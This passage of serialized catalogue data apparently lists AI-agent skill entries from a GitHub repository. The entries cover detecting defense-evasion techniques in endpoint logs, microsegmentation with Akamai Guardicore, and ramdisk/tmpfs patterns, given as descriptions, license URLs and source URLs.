including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK TA0005.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fdetecting-evasion-techniques-in-endpoint-logs\u002FSKILL.md",[],[],{"skillNo":125,"name":126,"nameZh":6,"description":127,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":128,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M734AFNXD06Z78QRK0VKGT7Q","implementing-microsegmentation-with-guardicore","Implementing microsegmentation using Akamai Guardicore Segmentation to map application dependencies, create granular network policies, visualize east-west traffic flows, and enforce least-privilege communication between workloads across data centers and cloud.","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-microsegmentation-with-guardicore\u002FSKILL.md",[],[],{"skillNo":133,"name":134,"nameZh":6,"description":6,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":135,"categories":136,"keywords":137,"publishedAt":20},"01M736TK27QMCXK0DVCH25SJN5","ramdisk-tmpfs-patterns","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Framdisk-tmpfs-patterns\u002FSKILL.md",[],[]]